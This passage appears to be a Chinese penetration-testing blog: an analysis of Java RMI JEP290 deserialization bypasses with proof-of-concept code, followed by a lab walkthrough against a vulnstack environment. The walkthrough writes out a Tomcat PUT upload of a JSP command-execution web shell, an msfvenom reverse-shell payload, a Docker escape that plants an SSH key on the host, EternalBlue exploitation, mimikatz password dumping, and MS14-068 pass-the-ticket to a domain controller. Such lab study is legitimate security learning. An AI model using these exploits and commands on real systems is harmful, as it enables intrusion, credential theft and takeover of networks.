                Set refsToDirty = null;     // entries for refs needing dirty
                long sequenceNum;           // sequence number for dirty call
                //阻塞执行,去遍历查询LiveRef实例
                synchronized (this) {
                    //省略此处代码,就是做遍历查询的事情
                }
                //为所有结果参与DGC垃圾回收机制注册
                //------进入此处------
                makeDirtyCall(refsToDirty, sequenceNum);
                return true;
            }
    

    进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B
    image-20220206225438437
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    ObjectOutput var6 = var5.getOutputStream();
                    var6.writeObject(var1);
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
                //JRMP服务端打JRMP客户端的反序列化触发点在这里面
                super.ref.invoke(var5);
    

    回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
    下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
    UnicastRef 对象:
    //让受害者主动去连接的攻击者的JRMPlister的host和port
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }
    

    三种思路:
    1. 不封装,参考 BaRMie,直接发送 UnicastRef。
    2. 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
    3. 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进register.bind(String,Remote)中。

    • 动态代理的方式

      自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
      public static class PocHandler implements InvocationHandler, Serializable {
          private RemoteRef ref;//来放我们的UnicastRef对象
      
          protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
              ref = newref;
          }
      
          @Override
          public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
              return this.ref //只是为了满足拦截类的格式,随便写
          }
      }
      public static void main(String[] args) throws Exception{
              String jrmpListenerHost = "127.0.0.1";
              int jrmpListenerPort = 1199;
              UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(unicastRef));
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("2333", remote);
          }
      

      或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
      public class RemoteObjectInvocationHandler
          extends RemoteObject
          implements InvocationHandler //表示是一个拦截器
      {
      //构造函数,传入一个RemoteRef接口类型的变量
          public RemoteObjectInvocationHandler(RemoteRef ref) {
              super(ref);
              if (ref == null) {
                  throw new NullPointerException();
              }
          }
      //而UnicastRef类型实现RemoteRef接口,即可以传入
      //public class UnicastRef implements RemoteRef {
      
      public abstract class RemoteObject implements Remote, java.io.Serializable {
      
          /** The object's remote reference. */
          transient protected RemoteRef ref;
      
       //super(ref)的内容,可以成功塞入变量中
           protected RemoteObject(RemoteRef newref) {
              ref = newref;
          }
      

      插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
      private void writeObject(java.io.ObjectOutputStream out)
              throws java.io.IOException, java.lang.ClassNotFoundException
          {
              if (ref == null) {
                  throw new java.rmi.MarshalException("Invalid remote object");
              } else {
                  String refClassName = ref.getRefClass(out);
                  if (refClassName == null || refClassName.length() == 0) {
                      //不会进入的地方....
                  } else {
                      /*
                       * Built-in reference class specified, so delegate
                       * to reference to write out its external form.
                       */
                       //我们的序列化操作会进入到这里对于ref进行序列化
                      out.writeUTF(refClassName);
                      ref.writeExternal(out);
                      //在这里通过writeExternal来写入了ref
                      //(transient类型的变量可以通过writeExternal来写入序列化)
                  }
              }
          }
      

      在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
      public class Bypass290 {
          //省略generateUnicastRef方法
          public static void main(String[] args) throws Exception{
              //获取UnicastRef对象
              String jrmpListenerHost = "127.0.0.1";//本地测试
              int jrmpListenerPort = 1199;
              UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              //通过构造函数封装进入RemoteObjectInvocationHandler
              RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
              //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
              //所以接下来bind可以填入proxy
              Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
                                                                 new Class[]{Registry.class}, obj);
              //触发漏洞
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("hello", proxy);//填入payload
          }
      }
      
    • 找一个带 UnicastRef 类型参数的 Remote 接口的类

      RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
      public static void main(String[] args) throws Exception{
          //获取UnicastRef对象
          String jrmpListenerHost = "127.0.0.1";//本地测试
          int jrmpListenerPort = 1199;
          UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
          //通过构造函数封装进入RemoteObjectInvocationHandler
          RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
          //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
          //所以接下来bind可以填入proxy 注释
          //        Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
          //                new Class[]{Registry.class}, obj);
          //触发漏洞
          Registry registry = LocateRegistry.getRegistry(1099);//本地测试
          //        registry.bind("hello", proxy);//填入payload
          registry.bind("hello", obj);//填入payload
      }
      

      同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
      RMIConnectionImpl_Stub 可以用
      1. 是 Remote 接口
        //RMIConnectionImpl_Stub类定义,继承自RemoteStub类
        public final class RMIConnectionImpl_Stub
            extends java.rmi.server.RemoteStub
            implements javax.management.remote.rmi.RMIConnection{
        
        //java.rmi.server.RemoteStub 定义,继承自RemoteObject类
        abstract public class RemoteStub extends RemoteObject {
        
        //RemoteObject定义,实现Remote接口
        public abstract class RemoteObject implements Remote, java.io.Serializable {
        
      2. 构造方法可以放 UnicastRef
        //javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
        public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
            super(ref);
            }
        
        //java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
         protected RemoteStub(RemoteRef ref) {
                super(ref);
            }
        
        //java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
        protected RemoteObject(RemoteRef newref) {
                ref = newref;
            }
        
    • UnicastRemoteObject 不行
      原因是客户端 bind 中的反序列化流程是
      ObjectOutput var4 = var3.getOutputStream();
      var4.writeObject(var1);
      var4.writeObject(var2);
      

      跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
      private void writeObject0(Object obj, boolean unshared)
              throws IOException
          {
              boolean oldMode = bout.setBlockDataMode(false);
              depth++;
              try {
                  //一大堆类型检查,都不会通过
      
                  // 想要去检查替换我们的object
                  Object orig = obj;
                  Class cl = obj.getClass();
                  ObjectStreamClass desc;
                  for (;;) {
                      //查找相关内容
                  }
                  if (enableReplace) {//都是true
                  //!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
                      Object rep = replaceObject(obj);
                      if (rep != obj && rep != null) {
                          cl = rep.getClass();
                          desc = ObjectStreamClass.lookup(cl, true);
                      }
                      obj = rep;
                  }
      
                  //一些替换后的处理,不太重要
      
                  // 通过类进行分配序列化过程
                  if (obj instanceof String) {
                      writeString((String) obj, unshared);
                  } else if (cl.isArray()) {
                      writeArray(obj, desc, unshared);
                  } else if (obj instanceof Enum) {
                      writeEnum((Enum) obj, desc, unshared);
                  } else if (obj instanceof Serializable) {
                      //进入此处再开始正常的序列化
                      writeOrdinaryObject(obj, desc, unshared);
                  //...省略...
          }
      

      然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
      //var1就是我们想要序列化的类
      protected final Object replaceObject(Object var1) throws IOException {
          //这个类要是Remote接口的,并且不是RemoteStub接口的,为true
          if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
              //这里会去获取到新的对象来替换
              //UnicastRemoteObject走的就是这条路
              Target var2 = ObjectTable.getTarget((Remote)var1);
              if (var2 != null) {
                  return var2.getStub();
              }
          }
          //RMIConnectionImpl_Stub走的就是这条路
          return var1;
      }
      

      所以可用类的条件应该是:
      1. 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
      2. 这个类要是Remote接口的并且是RemoteStub接口
      3. 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)

      但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
      java.io.ObjectOutput out = call.getOutputStream();
      //反射修改enableReplace
      ReflectionHelper.setFieldValue(out, "enableReplace", false);
      out.writeObject(obj); // 写入我们的对象
      

      截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。
  • 与Lookup结合



    这里直接做了上层的 lookup 的重写

    //多加了个registry参数,然后自己实现部分固定值的获取
    public static Remote lookup(Registry registry, Object obj)
                throws Exception {
            RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
            long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
            java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
            try {
            ....//之后就跟原来的lookup一样了
                //同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
    
  • 修复



    在 8u231 后做了两处修复。

    1. discardPedingRefs中的 incomingRefTable 清空了

      public void discardPendingRefs() {
          this.in.discardRefs();//去下面
      }
      //sun.rmi.transport.ConnectionInputStream#discardRefs
      void discardRefs() {
          this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
      }
      

      因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
      那现在的问题是是不是之前的 payload 都会报错。
      • 自定义类:后续反序列化中找不到它,报错
      • 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错

      嗯,都被 kill 了。
    2. 在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单

      能发起 JRMP 请求,但执行命令的部分会被 ban 掉。
  • 另一种绕过JEP290的思路(An Trinh)



    后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。

    之前绕过的核心思想:

    1. readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
    2. 在readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。

    1. readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到incomingRefTable
    2. 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:

    private void readObject(java.io.ObjectInputStream in)
            throws java.io.IOException, java.lang.ClassNotFoundException
        {
            in.defaultReadObject();
            reexport();//这里
        }
    


    跟进 java.rmi.server.UnicastRemoteObject#reexport:

    private void reexport() throws RemoteException
        {
            if (csf == null && ssf == null) {
                exportObject((Remote) this, port);
            } else {
                //payload是填充了ssf的,这里
                exportObject((Remote) this, port, csf, ssf);
            }
        }
    


    一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket

    ServerSocket newServerSocket() throws IOException {
        if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
            TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
        }
    
        Object var1 = this.ssf;
        if (var1 == null) {
            var1 = chooseFactory();
        }
        //var1就是我们的payload中构建的ssf.调用他的createServerSocket
        //会根据动态代理进入RemoteObjectInvocationHandler#invoke
        ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
        if (this.listenPort == 0) {
            setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
        }
    


    触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod

    private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
        {
            try {
                if (!(proxy instanceof Remote)) {
                    throw new IllegalArgumentException(
                        "proxy not Remote instance");
                }
              //我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
              //这里开始了触发JRMP请求
                return ref.invoke((Remote) proxy, method, args,
                                  getMethodHash(method));
            } catch (Exception e) {
    


    ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。

    然后这个方法能绕过 8u231的限制。。。

    • 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
    • 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
  • 8u241的修复



    把本来的(String)var9.readobject()改成了
    SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。

    //8u241时这里,type传入String
    private Object readObject0(Class type, boolean unshared) throws IOException {
        //...
        case TC_OBJECT://我们输入的payload对象是一个Object
            if (type == String.class) {
                //8u241 type=String 直接在此处报错不进行反序列化了
            throw new ClassCastException("Cannot cast an object to java.lang.String");
            }
            //之前的版本都是传入type=Object于是正常反序列化
            return checkResolve(readOrdinaryObject(unshared));
        //..
    }
    


    如果参数类型是 String 则会直接拒绝反序列化。

    第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。

 

  • 环境配置


    项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/


    在 ubuntu 中启动 docker
    cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
    sudo docker-compose up -d
    
  • 外网部分


    • s2-045 存在文件上传

      天融信那个没有,k8的没反应,于是手动发包。
    • tomcat CVE-2017-12617

      可以直接用 PUT 方法写入文件,msf 有脚本一键打(不过这个 shell 很难受)
      image-20220202080756883
      于是手动发包传一个 jsp 上去
      PUT /shell.jsp/ HTTP/1.1
      Host: 192.168.157.132:2002
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
      DNT: 1
      Connection: close
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      Content-Length: 750
      
      <%@ page import="java.util.*,java.io.*,java.net.*"%>
       <%
       %>
       <HTML><BODY>
       <FORM METHOD="POST" NAME="myform" ACTION="">
       <INPUT TYPE="text" NAME="cmd">
       <INPUT TYPE="submit" VALUE="Send">
       </FORM>
       <pre>
       <%
       if (request.getParameter("cmd") != null) {
               out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
               Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
               OutputStream os = p.getOutputStream();
               InputStream in = p.getInputStream();
               DataInputStream dis = new DataInputStream(in);
               String disr = dis.readLine();
               while ( disr != null ) {
                       out.println(disr); disr = dis.readLine(); }
               }
       %>
       </pre>
       </BODY></HTML>
      
    • phpMyAdmin文件包含

      image-20220201225203044
      包含 sql 执行操作时生成 cookie 对应的 session 文件,即可达成任意文件写
      image-20220201230517040
       
  • 拿下 web 服务器


    弹一个到 msf 的马
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.131 LPORT=6666 -f elf > shell_6666.elf
    

    python 起一个 http 服务器远程把马 down 下来后执行。(别忘了加执行权限)
    两种思路:一个是用 CVE-2019-5736 直接打(复现失败了),另一个是用 –privileged 特权模式逃逸,这里说一下第二种。
    判断是否在 docker 中
    ls /.dockerenv 
    回显:/.dockerenv
    

    判断是否是特权模式
    cat /proc/self/status | grep CapEff
    CapEff对应的掩码值应该为0000003fffffffff
    

    查看磁盘文件并挂载
    fdisk -l
    mkdir /test
    mount /dev/sda1 /test
    

    本地生成私钥
    ssh-keygen -f hack
    chmod 600 hack
    

    创建 key.sh 并上传
    cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHHyGclk2ax0r++36xUO8eHqMFEhAmCILoIJqO3R61Aua7f45BJMMKFNYZGKusPfldVXk2pf+XUU46VwQzxi5Kj2F0PTFMQZyOWoFPP0uXETb5LjrM2CBqz65hfSjeMLq4RblcawjadmjHQVFwXnxqpQ+PxLUOFhT45GTbGKqZFOFlS1FRDswxFr8NO8UXcT9+k1XD5ZrowfNr/FlC8NkgXA1h0a2KiD1N5PMvoF0Jb+B/z0kDGzjoNUAtsj+d31AyNius+xyoRsgPn8KQo3oVMAv/deshrxMWF18HzercJtY4PnzLvIjj9F77+em/tFDx/tMcCOJ8EgDm1eolghNmLEHhwyTfguSMLts69FpE8b85UVc07ontWRDGu12MeIsJI9t7CmMIDc2kLwmYcZSE9eXUgfmxkewNbEjTjvI2iiARDmSnCY2LD4LMiZewQtgF5g5QJF9CcfdThY1VY0jPPDtIYF5VxsZ/Ndm4m9o/EzwxXh0WYs/2+RacYgPH7K0= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
    cat /test/home/ubuntu/.ssh/authorized_keys
    

    最后直接用 ssh 链接就可以了
    ssh -i hack ubuntu@192.168.157.132
    

    image-20220202130201145
    然后就可以为所欲为了
  • 横向移动


    先在 msf 中上线,添加 ew 代理
    image-20220202130800401
    msf 中设置路由转发,并执行存活扫描
    run autoroute -s 192.168.183.0/24
    run autoroute -p
    或 set proxies socks5:192.168.157.132:1080
    存活主机:
    use auxiliary/scanner/portscan/tcp
    set rhosts 192.168.183.0-255
    set threads 10
    run
    

    永恒之蓝一发入魂
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set rhost 192.168.183.129
    set lport 4444
    set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
    run
    

    image-20220202141340865
    开始攻击域控,这里直接拿到了 system,net user /domain 权限受限,选择切换到域用户中。
    ps   找域用户的进程
    steal_token 1560
    

    image-20220202142831550
    先用 mimikatz 抓一下密码 (其实这里直接翻 ubuntu 的历史命令信息就能拿到密码)
    rev2self     回到 system 权限
    load kiwi
    kiwi_cmd sekurlsa::logonpasswords
    

    image-20220202144646321
    ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    

    然后用 mimikatz 传递票据
    kerberos::purge      清除票据
    kerberos::ptc TGT_douser@demo.com.ccache
    

    然后查看一下域控的 c 盘,成功
    dir \\WIN-ENS2VR5TR3N\c$